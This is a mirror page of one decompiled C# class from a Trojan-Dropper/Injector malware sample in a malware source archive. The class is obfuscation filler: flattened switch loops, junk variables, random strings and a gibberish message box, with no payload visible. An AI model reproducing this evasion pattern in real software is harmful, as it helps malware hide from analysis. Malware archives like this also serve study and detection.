mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
112 lines
3.1 KiB
C#
112 lines
3.1 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: _2012_D.nQGXD0Fz1GVZtG4EJurMG
|
||
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
||
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dblt-11c830b14a7f7fa5e638e993bfad14368652dc14146a3a0f4078ff2c21428131.exe
|
||
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.Windows.Forms;
|
||
|
||
namespace _2012_D
|
||
{
|
||
[StandardModule]
|
||
internal sealed class nQGXD0Fz1GVZtG4EJurMG
|
||
{
|
||
public static object gZs7PuDK9SP66z6UNI31366()
|
||
{
|
||
label_2:
|
||
int num1 = 3;
|
||
while (true)
|
||
{
|
||
Decimal num2;
|
||
string str;
|
||
bool flag;
|
||
switch (num1)
|
||
{
|
||
case 0:
|
||
do
|
||
{
|
||
str = ".&_€~'HPU*6=XB{2j‡\u0090†=_'l.Œ^{.,{RR‡x\u008D#Rk'Z'ˆUE‹g3111";
|
||
flag = false;
|
||
}
|
||
while (false);
|
||
num1 = 2;
|
||
continue;
|
||
case 1:
|
||
str = "g394KjsgcKG49A9x5b7p89b5Y2QLIx7h7vMW7lZ9Q9F2C6N0QSxs8jUIM15T1b6e5R2HCI4O4W6Th4h0JnlbK8TN9HRhkR";
|
||
flag = false;
|
||
num2 = 14M;
|
||
break;
|
||
case 2:
|
||
break;
|
||
case 3:
|
||
num2 = 57951862M;
|
||
num1 = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
flag = true;
|
||
num1 = 1;
|
||
}
|
||
}
|
||
|
||
private static object s8P1wEv2()
|
||
{
|
||
label_2:
|
||
int num1 = 3;
|
||
long num2;
|
||
long num3;
|
||
string str;
|
||
double num4;
|
||
int num5;
|
||
while (true)
|
||
{
|
||
switch (num1)
|
||
{
|
||
case 0:
|
||
do
|
||
{
|
||
int num6 = 4100732;
|
||
num4 = 4.0;
|
||
num5 = 7127305;
|
||
num6 = 326;
|
||
}
|
||
while (false);
|
||
num1 = 2;
|
||
continue;
|
||
case 1:
|
||
goto label_9;
|
||
case 2:
|
||
num5 = 2897;
|
||
num2 = 9L;
|
||
str = "i2Wy64xVE40b9ozlpc5c7IoE2EwP8gzvFAyNt91g2134UWIuKKf8QsJ6dhJUP72gX304x22X6z3wlXyYIh4jd3u9V04uv585040N0pfpdrEU88cnDj5GgT9DkUHo18KXdmd83YIWub6X0p4ECRrfg8LpVI99551JY0IzIs42uaVFG99lPg3vfOfK490Ko8lG0d4fpb7";
|
||
num4 = 506087363.0;
|
||
num5 = 753688;
|
||
num1 = 1;
|
||
continue;
|
||
case 3:
|
||
num2 = 98L;
|
||
int num7 = 4013743;
|
||
do
|
||
{
|
||
checked { ++num7; }
|
||
}
|
||
while (num7 <= 278279960);
|
||
num3 = 162822L;
|
||
str = "Œru4 \u0081q*ˆ%\u0081’‡†ƒG=CˆPa 91‹GHyˆTNŽv-DvT'r}{XŽƒB‹$";
|
||
int num8 = (int) MessageBox.Show("l‹Xc;kXŠ5Sj†<„{^c{;6ex[>AiND†4WgC}I2~29N9†f$C\u0090&&;G/3]TE†P:Be<4$ \u008FcQ[isQb\u007F\u008Fr2W\u008DDcH(_$D*‚WUuc‚g2$\u0081f'@Mg^efqdpWfs‹?‘!‡,XŽk‹rŒ%‡/aŽm‹ƒ_Om‰Ž}V‹FsMK„t|D„e=‹IjOHnnXqW/h`u4\\e(&*i_hŠ]G'C*}pHO Z‡’");
|
||
num1 = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
}
|
||
label_9:
|
||
num3 = 8L;
|
||
return (object) 949;
|
||
}
|
||
}
|
||
}
|